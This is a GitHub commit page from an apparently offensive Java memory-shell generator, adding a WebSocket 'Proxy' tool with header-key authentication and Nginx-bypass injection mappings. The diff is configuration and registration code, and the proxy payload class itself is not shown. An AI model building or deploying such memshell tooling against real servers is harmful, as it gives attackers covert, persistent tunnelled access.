Skip to content

Commit 918ae6f

Browse files
committed
feat: support ws proxy
1 parent c0a2e95 commit 918ae6f

22 files changed

Lines changed: 572 additions & 276 deletions

File tree

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,10 @@ public ShellToolConfig parseShellToolConfig() {
7777
.shellClassBase64(shellToolConfig.getShellClassBase64())
7878
.shellClassName(shellToolConfig.getShellClassName())
7979
.build();
80+
case Proxy -> ProxyConfig.builder()
81+
.headerName(shellToolConfig.getHeaderName())
82+
.headerValue(shellToolConfig.getHeaderValue())
83+
.shellClassName(shellToolConfig.shellClassName).build();
8084
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
8185
};
8286
}

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
1010
import com.reajason.javaweb.memshell.shelltool.suo5.*;
1111
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
12+
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
1213

1314
import java.util.Collections;
1415
import java.util.List;
@@ -239,6 +240,13 @@ public class ServerFactory {
239240
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
240241
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
241242
.build());
243+
244+
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
245+
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
246+
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
247+
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
248+
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
249+
.build());
242250
}
243251

244252
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {

generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,5 +12,6 @@ public class ShellTool {
1212
public static final String Suo5v2 = "Suo5v2";
1313
public static final String AntSword = "AntSword";
1414
public static final String NeoreGeorg = "NeoreGeorg";
15+
public static final String Proxy = "Proxy";
1516
public static final String Custom = "Custom";
1617
}

generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@ public class ShellToolFactory {
2727
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
2828
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
2929
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
30+
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
3031
}
3132

3233
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
package com.reajason.javaweb.memshell.config;
2+
3+
import com.reajason.javaweb.utils.CommonUtil;
4+
import lombok.*;
5+
import lombok.experimental.SuperBuilder;
6+
import org.apache.commons.lang3.StringUtils;
7+
8+
@Getter
9+
@SuperBuilder
10+
@NoArgsConstructor
11+
@AllArgsConstructor
12+
@ToString
13+
public class ProxyConfig extends ShellToolConfig {
14+
@Builder.Default
15+
private String headerName = "User-Agent";
16+
@Builder.Default
17+
private String headerValue = CommonUtil.getRandomString(8);
18+
19+
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
20+
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
21+
22+
public B headerName(final String headerName) {
23+
if (StringUtils.isNotBlank(headerName)) {
24+
this.headerName$value = headerName;
25+
headerName$set = true;
26+
}
27+
return self();
28+
}
29+
30+
public B headerValue(final String headerValue) {
31+
if (StringUtils.isNotBlank(headerValue)) {
32+
this.headerValue$value = headerValue;
33+
headerValue$set = true;
34+
}
35+
return self();
36+
}
37+
}
38+
}
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
package com.reajason.javaweb.memshell.generator;
2+
3+
import com.reajason.javaweb.memshell.config.ProxyConfig;
4+
import com.reajason.javaweb.memshell.config.ShellConfig;
5+
import net.bytebuddy.ByteBuddy;
6+
import net.bytebuddy.dynamic.DynamicType;
7+
8+
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
9+
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
10+
super(shellConfig, shellToolConfig);
11+
}
12+
13+
@Override
14+
protected DynamicType.Builder<?> getBuilder() {
15+
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
16+
}
17+
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,7 @@
55
import com.reajason.javaweb.Server;
66
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
77
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
8-
import com.reajason.javaweb.memshell.config.CommandConfig;
9-
import com.reajason.javaweb.memshell.config.GodzillaConfig;
10-
import com.reajason.javaweb.memshell.config.ShellConfig;
11-
import com.reajason.javaweb.memshell.config.ShellToolConfig;
8+
import com.reajason.javaweb.memshell.config.*;
129
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
1310
import com.reajason.javaweb.utils.CommonUtil;
1411
import net.bytebuddy.ByteBuddy;
@@ -50,6 +47,8 @@ private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfi
5047
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
5148
} else if (shellToolConfig instanceof GodzillaConfig) {
5249
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
50+
} else if (shellToolConfig instanceof ProxyConfig) {
51+
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
5352
}
5453
return null;
5554
}
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
<%--
2+
Created by IntelliJ IDEA.
3+
User: ReaJason
4+
Date: 2026/1/16
5+
Time: 23:12
6+
To change this template use File | Settings | File Templates.
7+
--%>
8+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
9+
<html>
10+
<head>
11+
<title>$Title$</title>
12+
</head>
13+
<body>
14+
$END$
15+
</body>
16+
</html>

0 commit comments

Comments
 (0)